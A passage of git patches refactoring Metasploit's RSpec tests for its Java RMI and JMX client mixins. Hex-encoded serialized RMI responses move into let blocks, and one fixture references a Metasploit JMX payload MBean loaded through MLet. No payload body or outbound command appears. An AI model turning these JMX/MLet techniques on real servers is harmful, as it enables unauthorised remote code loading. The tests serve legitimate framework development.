b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb @@ -31,7 +31,7 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do let(:name_get) { 'DefaultDomain:type=MLet' } it "returns true" do - msf_io.set_msf_data( + msf_io.msf_data = "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + "\x4e\x3d\x1c\x2f\x80\x08\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + @@ -48,7 +48,6 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + "\x65\x3d\x4d\x4c\x65\x74\x78" - ) expect(mod.send_jmx_get_object_instance(sock: msf_io, name: name_get)).to be_truthy end end @@ -59,7 +58,7 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do include_context "Msf::StringIO" it "returns true" do - msf_io.set_msf_data( + msf_io.msf_data = "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + "\x4e\x3d\x1c\x2f\x80\x07\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + @@ -76,7 +75,6 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + "\x65\x3d\x4d\x4c\x65\x74\x78" - ) expect(mod.send_jmx_create_mbean(sock: msf_io, name: name_create)).to be_truthy end end @@ -99,7 +97,7 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do end it "returns true" do - msf_io.set_msf_data( + msf_io.msf_data = "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + "\x4e\x3d\x1c\x2f\x80\x09\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75" + "\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65\x74\xba\x44\x85\x95\x96" + @@ -119,7 +117,6 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do "\x00\x00\x70\x78\x70\x74\x00\x21\x4d\x4c\x65\x74\x47\x78\x61\x7a" + "\x6f\x6f\x6d\x79\x3a\x6e\x61\x6d\x65\x3d\x6a\x6d\x78\x70\x61\x79" + "\x6c\x6f\x61\x64\x2c\x69\x64\x3d\x31\x78\x78" - ) expect(mod.send_jmx_invoke(invoke_args.merge(sock: msf_io))).to be_truthy end end diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb index 92870220ac..9d3c8baec4 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb @@ -29,7 +29,7 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do } it "returns the reference information" do - msf_io.set_msf_data( + msf_io.msf_data = "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + "\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + @@ -45,7 +45,6 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do "\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" + "\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" + "\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78" - ) expect(instance.send_new_client(sock: msf_io)[:address]).to eq(remote_address) end end diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb index af2c84b9ad..7ea2f0c16f 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb @@ -27,25 +27,23 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do context "when there aren't names registered" do it "returns empty array" do - msf_io.set_msf_data( + msf_io.msf_data = "\x51\xac\xed\x00\x05\x77\x0f\x01\xbb\x2e\x19\xae\x00\x00\x01\x4c" + "\x32\xa9\x92\x56\x80\x04\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00" - ) expect(mod.send_registry_list(sock: msf_io)).to eq([]) end end context "when there are names registered" do it "returns the list of registered names" do - msf_io.set_msf_data( + msf_io.msf_data = "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + "\x48\x27\x84\x49\x80\xb9\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74" + "\x00\x06\x6a\x6d\x78\x72\x6d\x69" - ) expect(mod.send_registry_list(sock: msf_io)).to eq([name]) end end @@ -55,7 +53,7 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do describe "#send_registry_lookup" do context "when there isn't an interface bound" do it "raises an Rex::Proto::Rmi::Exception" do - msf_io.set_msf_data( + msf_io.msf_data = "\x51\xac\xed\x00\x05\x77\x0f\x02\x82\x73\x92\x35\x00\x00\x01\x4c" + "\x48\x27\x84\x49\x80\xbc\x73\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72" + "\x6d\x69\x2e\x4e\x6f\x74\x42\x6f\x75\x6e\x64\x45\x78\x63\x65\x70" + @@ -146,14 +144,13 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do "\x2e\x41\x72\x72\x61\x79\x4c\x69\x73\x74\x78\x81\xd2\x1d\x99\xc7" + "\x61\x9d\x03\x00\x01\x49\x00\x04\x73\x69\x7a\x65\x70\x78\x70\x00" + "\x00\x00\x00\x77\x04\x00\x00\x00\x00\x78\x71\x00\x7e\x00\x33\x78" - ) expect { mod.send_registry_lookup(sock: msf_io, name: 'test') }.to raise_error(Rex::Proto::Rmi::Exception) end end context "when there is an interface bound" do it "returns the reference information" do - msf_io.set_msf_data( + msf_io.msf_data = "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + "\x48\x27\x84\x49\x80\xba\x73\x72\x00\x2e\x6a\x61\x76\x61\x78\x2e" + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + @@ -169,7 +166,6 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do "\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x13\x26\xa0\x59" + "\x9d\x0d\x09\xd3\x01\xbd\x82\x73\x92\x35\x00\x00\x01\x4c\x48\x27" + "\x84\x49\x80\x01\x01\x78" - ) expect(mod.send_registry_lookup(sock: msf_io, name: name)[:object]).to eq(interface_class) end end diff --git a/spec/support/shared/contexts/msf/string_io.rb b/spec/support/shared/contexts/msf/string_io.rb index 5f1699d76d..35336c06b7 100644 --- a/spec/support/shared/contexts/msf/string_io.rb +++ b/spec/support/shared/contexts/msf/string_io.rb @@ -22,10 +22,6 @@ RSpec.shared_context 'Msf::StringIO' do # before(:each) do - def msf_io.set_msf_data(data) - self.msf_data = data - end - def msf_io.get_once read end From 085598f6d22a488936949a0f56d9d2426a3ed578 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Tue, 24 Nov 2015 14:46:43 -0600 Subject: [PATCH 1539/2172] Use lets --- .../java/rmi/client/jmx/connection_spec.rb | 121 +++++---- .../remote/java/rmi/client/jmx/server_spec.rb | 35 +-- .../remote/java/rmi/client/registry_spec.rb | 246 +++++++++--------- 3 files changed, 214 insertions(+), 188 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb index 51d3eb79c2..3c9d65eede 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb @@ -30,24 +30,27 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do let(:name_get) { 'DefaultDomain:type=MLet' } + let(:get_object_instance_response) { + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + + "\x4e\x3d\x1c\x2f\x80\x08\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + + "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + + "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + + "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + + "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + + "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + + "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + + "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + + "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + + "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + + "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + + "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + + "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + + "\x65\x3d\x4d\x4c\x65\x74\x78" + } + it "returns true" do - msf_io.msf_data = - "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + - "\x4e\x3d\x1c\x2f\x80\x08\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + - "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + - "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + - "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + - "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + - "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + - "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + - "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + - "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + - "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + - "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + - "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + - "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + - "\x65\x3d\x4d\x4c\x65\x74\x78" + msf_io.msf_data = get_object_instance_response expect(mod.send_jmx_get_object_instance(sock: msf_io, name: name_get)).to be_truthy end end @@ -57,24 +60,31 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do context "when the object is created successfully" do include_context "Msf::StringIO" + # + # lets + # + + let(:create_mbean_response) { + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + + "\x4e\x3d\x1c\x2f\x80\x07\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + + "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + + "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + + "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + + "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + + "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + + "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + + "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + + "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + + "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + + "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + + "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + + "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + + "\x65\x3d\x4d\x4c\x65\x74\x78" + } + it "returns true" do - msf_io.msf_data = - "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + - "\x4e\x3d\x1c\x2f\x80\x07\x73\x72\x00\x1f\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63" + - "\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28\x7b" + - "\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65" + - "\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" + - "\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d\x4c" + - "\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74" + - "\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70\x74" + - "\x00\x1d\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65" + - "\x6e\x74\x2e\x6c\x6f\x61\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x73" + - "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d" + - "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03" + - "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x70\x78\x70\x74\x00\x17\x44" + - "\x65\x66\x61\x75\x6c\x74\x44\x6f\x6d\x61\x69\x6e\x3a\x74\x79\x70" + - "\x65\x3d\x4d\x4c\x65\x74\x78" + msf_io.msf_data = create_mbean_response expect(mod.send_jmx_create_mbean(sock: msf_io, name: name_create)).to be_truthy end end @@ -96,27 +106,30 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do } end + let(:invoke_response) do + "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + + "\x4e\x3d\x1c\x2f\x80\x09\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75" + + "\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65\x74\xba\x44\x85\x95\x96" + + "\xb8\xb7\x34\x03\x00\x00\x70\x78\x70\x77\x0c\x00\x00\x00\x10\x3f" + + "\x40\x00\x00\x00\x00\x00\x01\x73\x72\x00\x1f\x6a\x61\x76\x61\x78" + + "\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65" + + "\x63\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28" + + "\x7b\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d" + + "\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53" + + "\x74\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d" + + "\x4c\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e" + + "\x74\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70" + + "\x74\x00\x15\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x4a\x4d" + + "\x58\x50\x61\x79\x6c\x6f\x61\x64\x73\x72\x00\x1b\x6a\x61\x76\x61" + + "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + + "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + + "\x00\x00\x70\x78\x70\x74\x00\x21\x4d\x4c\x65\x74\x47\x78\x61\x7a" + + "\x6f\x6f\x6d\x79\x3a\x6e\x61\x6d\x65\x3d\x6a\x6d\x78\x70\x61\x79" + + "\x6c\x6f\x61\x64\x2c\x69\x64\x3d\x31\x78\x78" + end + it "returns true" do - msf_io.msf_data = - "\x51\xac\xed\x00\x05\x77\x0f\x01\x1e\xc8\x7c\x01\x00\x00\x01\x4c" + - "\x4e\x3d\x1c\x2f\x80\x09\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75" + - "\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65\x74\xba\x44\x85\x95\x96" + - "\xb8\xb7\x34\x03\x00\x00\x70\x78\x70\x77\x0c\x00\x00\x00\x10\x3f" + - "\x40\x00\x00\x00\x00\x00\x01\x73\x72\x00\x1f\x6a\x61\x76\x61\x78" + - "\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65" + - "\x63\x74\x49\x6e\x73\x74\x61\x6e\x63\x65\xc7\x1a\x0a\xcf\xad\x28" + - "\x7b\x76\x02\x00\x02\x4c\x00\x09\x63\x6c\x61\x73\x73\x4e\x61\x6d" + - "\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53" + - "\x74\x72\x69\x6e\x67\x3b\x4c\x00\x04\x6e\x61\x6d\x65\x74\x00\x1d" + - "\x4c\x6a\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e" + - "\x74\x2f\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x70\x78\x70" + - "\x74\x00\x15\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e\x4a\x4d" + - "\x58\x50\x61\x79\x6c\x6f\x61\x64\x73\x72\x00\x1b\x6a\x61\x76\x61" + - "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + - "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + - "\x00\x00\x70\x78\x70\x74\x00\x21\x4d\x4c\x65\x74\x47\x78\x61\x7a" + - "\x6f\x6f\x6d\x79\x3a\x6e\x61\x6d\x65\x3d\x6a\x6d\x78\x70\x61\x79" + - "\x6c\x6f\x61\x64\x2c\x69\x64\x3d\x31\x78\x78" + msf_io.msf_data = invoke_response expect(mod.send_jmx_invoke(invoke_args.merge(sock: msf_io))).to be_truthy end end diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb index 9d3c8baec4..8d366ba361 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb @@ -28,23 +28,26 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do '172.16.158.132' } + let(:new_client_response) { + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + + "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74" + + "\x69\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00" + + "\x00\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61" + + "\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f" + + "\x74\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00" + + "\x00\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73" + + "\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65" + + "\x63\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70" + + "\x77\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e" + + "\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" + + "\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" + + "\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78" + } + it "returns the reference information" do - msf_io.msf_data = - "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xbf\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e" + - "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + - "\x65\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74" + - "\x69\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00" + - "\x00\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61" + - "\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f" + - "\x74\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00" + - "\x00\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73" + - "\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65" + - "\x63\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70" + - "\x77\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e" + - "\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00" + - "\x13\x26\xa2\x01\x50\x97\x40\xd4\x90\xd1\x82\x73\x92\x35\x00\x00" + - "\x01\x4c\x48\x27\x84\x49\x80\xbe\x01\x78" + msf_io.msf_data = new_client_response expect(instance.send_new_client(sock: msf_io)[:address]).to eq(remote_address) end end diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb index 7ea2f0c16f..bf2391c181 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb @@ -25,25 +25,30 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do describe "#send_registry_list" do context "when there aren't names registered" do + let(:list_empty_response) { + "\x51\xac\xed\x00\x05\x77\x0f\x01\xbb\x2e\x19\xae\x00\x00\x01\x4c" + + "\x32\xa9\x92\x56\x80\x04\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + + "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + + "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00" + } it "returns empty array" do - msf_io.msf_data = - "\x51\xac\xed\x00\x05\x77\x0f\x01\xbb\x2e\x19\xae\x00\x00\x01\x4c" + - "\x32\xa9\x92\x56\x80\x04\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + - "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + - "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00" + msf_io.msf_data = list_empty_response expect(mod.send_registry_list(sock: msf_io)).to eq([]) end end context "when there are names registered" do + let(:list_with_names_response) { + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xb9\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + + "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + + "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74" + + "\x00\x06\x6a\x6d\x78\x72\x6d\x69" + } + it "returns the list of registered names" do - msf_io.msf_data = - "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + - "\x48\x27\x84\x49\x80\xb9\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + - "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + - "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74" + - "\x00\x06\x6a\x6d\x78\x72\x6d\x69" + msf_io.msf_data = list_with_names_response expect(mod.send_registry_list(sock: msf_io)).to eq([name]) end end @@ -52,120 +57,125 @@ RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do describe "#send_registry_lookup" do context "when there isn't an interface bound" do + let(:lookup_exception) { + "\x51\xac\xed\x00\x05\x77\x0f\x02\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xbc\x73\x72\x00\x1a\x6a\x61\x76\x61\x2e\x72" + + "\x6d\x69\x2e\x4e\x6f\x74\x42\x6f\x75\x6e\x64\x45\x78\x63\x65\x70" + + "\x74\x69\x6f\x6e\xe6\x37\xf9\xa7\x2d\x7c\x3a\xfb\x02\x00\x00\x70" + + "\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78" + + "\x63\x65\x70\x74\x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02" + + "\x00\x00\x70\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67" + + "\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd5\xc6\x35\x27\x39\x77" + + "\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15" + + 